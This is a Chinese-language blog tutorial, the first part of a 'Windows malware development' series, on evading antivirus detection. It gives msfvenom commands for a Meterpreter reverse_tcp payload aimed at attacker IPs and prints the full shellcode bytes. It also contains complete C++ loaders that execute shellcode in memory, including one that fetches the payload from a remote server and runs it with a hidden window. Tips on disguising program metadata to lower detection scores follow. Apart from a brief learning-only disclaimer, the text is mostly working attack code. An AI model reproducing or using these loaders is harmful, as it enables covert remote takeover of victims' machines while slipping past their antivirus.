windows恶意软件开发(一)



在阅读本篇文章前,您应该已经学习过Meterpreter的基本操作方法,并且知道未经允许的情况下,侵入、控制他人计算机是违法行为,本文章仅供学习使用。

众所周知,用Msfvenom生成的木马程序会被杀毒软件报毒,所以我们可以让Msfvenom生成shellcode,然后自己利用c/c++程序调用Windows的API,从而让shellcode载入内存运行,以此来逃避杀毒软件。

我们使用virustotal来检测我们木马的危险分数,virustotal会调用许多杀毒引擎和沙箱来检测软件是否是病毒。

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f exe -o msf.exe

我们先用msfvenom生成一个经典的windows木马,然后丢进virustotal里。

image-20230505181330386

可以看到大部分杀毒软件都报毒。

所以我们改用Msfvenom生成shellcode,然后自己编写C/C++程序,执行shellcode,这样处理msfconsole依旧可以监听并连接程序。

生成shellcode

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.24.109 LPORT=4444 -fc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x18\x6d\x68\x02\x00"
"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";

我们先编写一个简单的C++程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>
using namespace std;

//如果想隐藏启动后的cmd窗口,可以将下面一行代码取消注释。
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

int main(int argc, char **argv) {

//msfvenom生成的shellcode
unsigned char shellcode[] = "...";

//使用VirtualAlloc函数为程序分配内存空间
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//将shellcode复制到分配的空间中
memcpy(exec, shellcode, sizeof shellcode);

//执行写入的内存
((void(*)())exec)();

return 0;
}

这里建议用Visual Studio编译,因为Visual Studio和Windows都是微软的产品,不会出现水土不服的现象,编译时尽量选择静态编译,避免出现目标电脑上没有依赖而运行不了的情况。

然后上传到virustotal

image-20230505194510418

可以看到分数降低了一些。

这里我们先介绍一种简单的绕过静态查杀的方法,那就是远程加载shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <windows.h>
#include <string>
#include <stdio.h>
#include <iostream>


int main(int argc, char** argv)
{
const char buf[] = shellcode

FILE* fw = fopen("1.bin", "wb");
if (fw == NULL)
return 0;

/* 写入 */
for (int i = 0; i < strlen(buf); i++)
fwrite(buf + i, sizeof(char), 1, fw);


fclose(fw);

return 0;
}

我们先编写一个简单的c++程序,将我们的shellcode以二进制写入文件1.bin中,然后放到服务器上,之后再利用恶意程序下载它,并分配内存执行,这样我们就实现了shellcode和恶意程序分离,下面是恶意程序的代码。为了避免检测,我们尽量调用底层API去执行程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include <windows.h>
#include <string>
#include <stdio.h>

using std::string;

#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

HINSTANCE hInst;
WSADATA wsaData;

void mParseUrl(char* mUrl, string& serverName, string& filepath, string& filename);
SOCKET connectToServer(char* szServerName, WORD portNum);
int getHeaderLength(char* content);
char* readUrl2(char* szUrl, long& bytesReturnedOut, char** headerOut);

int main() {
const int bufLen = 1024;

//这里填服务器ip或域名,用来加载shellcode
char url[] = "http://ip/1.bin";
char* szUrl = url;
long fileSize;
char* memBuffer, * headerBuffer;
FILE* fp;
memBuffer = headerBuffer = NULL;

if (WSAStartup(0x101, &wsaData) != 0) {
return -1;
}

memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
/*
if (fileSize != 0)
{
fp = fopen("down.file", "wb");
fwrite(memBuffer, 1, fileSize, fp);
fclose(fp);
delete(headerBuffer);
}
*/
delete(headerBuffer);
int code_length = strlen(memBuffer);

void* exec = VirtualAlloc(0, code_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, memBuffer, code_length);
((void(*)())exec)();

WSACleanup();
return 0;
}

void mParseUrl(char* mUrl, string& serverName, string& filepath, string& filename)
{
string url = mUrl;
string::size_type idx;
string::size_type last_slash_idx = url.find_last_of('/');
string::size_type last_dot_idx = url.find_last_of('.');
if (last_dot_idx != string::npos && last_dot_idx > last_slash_idx) {
filename = url.substr(last_slash_idx + 1);
filepath = url.substr(0, last_slash_idx + 1) + filename;
}
else {
filename = "";
filepath = url;
}
string::size_type i = 0;
if (url.substr(0, 7) == "http://") {
i = 7;
}
else if (url.substr(0, 8) == "https://") {
i = 8;
}
idx = url.find('/', i);
if (idx == string::npos) {
serverName = url.substr(i);
}
else {
serverName = url.substr(i, idx - i);
}
}

SOCKET connectToServer(char* szServerName, WORD portNum)
{
WSADATA wsaData;
SOCKET mySocket;
SOCKADDR_IN target;

WSAStartup(0x202, &wsaData);
mySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
target.sin_family = AF_INET;
target.sin_port = htons(portNum);
target.sin_addr.s_addr = inet_addr(szServerName);

if (target.sin_addr.s_addr == INADDR_NONE)
{
HOSTENT* host = gethostbyname(szServerName);
if (host == NULL)
{
return NULL;
}
CopyMemory(&target.sin_addr, host->h_addr_list[0], host->h_length);
}

if (connect(mySocket, (SOCKADDR*)&target, sizeof(target)) == SOCKET_ERROR)
{
closesocket(mySocket);
return NULL;
}

return mySocket;
}

int getHeaderLength(char* content)
{
const char* srchStr1 = "\r\n\r\n", * srchStr2 = "\n\r\n\r";
char* findPos;
int ofset = -1;

findPos = strstr(content, srchStr1);
if (findPos != NULL)
{
ofset = findPos - content;
ofset += strlen(srchStr1);
}
else
{
findPos = strstr(content, srchStr2);
if (findPos != NULL)
{
ofset = findPos - content;
ofset += strlen(srchStr2);
}
}

return ofset;
}

char* readUrl2(char* szUrl, long& bytesReturnedOut, char** headerOut)
{
const int bufSize = 512;
char readBuffer[bufSize], sendBuffer[bufSize], tmpBuffer[bufSize];
char* tmpResult = NULL, * result;
SOCKET conn;
string server, filepath, filename;
long totalBytesRead, thisReadSize, headerLen;

// Step 1: Parse the URL to get server name, file path, and file name
mParseUrl(szUrl, server, filepath, filename);

// Step 2: Connect to the server
conn = connectToServer((char*)server.c_str(), 80);

// Step 3: Send the GET request
sprintf(tmpBuffer, "GET %s HTTP/1.0", filepath.c_str());
strcpy(sendBuffer, tmpBuffer);
strcat(sendBuffer, "\r\n");
sprintf(tmpBuffer, "Host: %s", server.c_str());
strcat(sendBuffer, tmpBuffer);
strcat(sendBuffer, "\r\n");
strcat(sendBuffer, "\r\n");
printf(sendBuffer);
send(conn, sendBuffer, strlen(sendBuffer), 0);

// Step 4: Receive the response
totalBytesRead = 0;
while ((thisReadSize = recv(conn, readBuffer, bufSize, 0)) > 0) {
tmpResult = (char*)realloc(tmpResult, totalBytesRead + thisReadSize);
memcpy(tmpResult + totalBytesRead, readBuffer, thisReadSize);
totalBytesRead += thisReadSize;
}

// Step 5: Extract the header and content from the response
headerLen = getHeaderLength(tmpResult);
long contenLen = totalBytesRead - headerLen;
result = new char[contenLen + 1];
memcpy(result, tmpResult + headerLen, contenLen);
result[contenLen] = 0x0;

char* myTmp = new char[headerLen + 1];
strncpy(myTmp, tmpResult, headerLen);
myTmp[headerLen] = '\0';
delete[] tmpResult;

*headerOut = myTmp;
bytesReturnedOut = contenLen;

// Step 6: Clean up and return the result
closesocket(conn);
return result;
}

还有我们用Visual Studio添加资源文件,这样就可以更改程序的元信息,起到伪装的效果,还能再降低一点程序的恶意分数

然后我们再看看分数

image-20230518152307463

这里其实就可以绕过一部分杀软了,经过作者的测试,练习电脑管家和火绒都没有报毒。

下一篇文章我们继续深入WINDOWS底层,进一步优化我们的恶意程序


← Prev 我的世界forge模组开发学习资源 | 我的世界mod开发的一些心得 Next →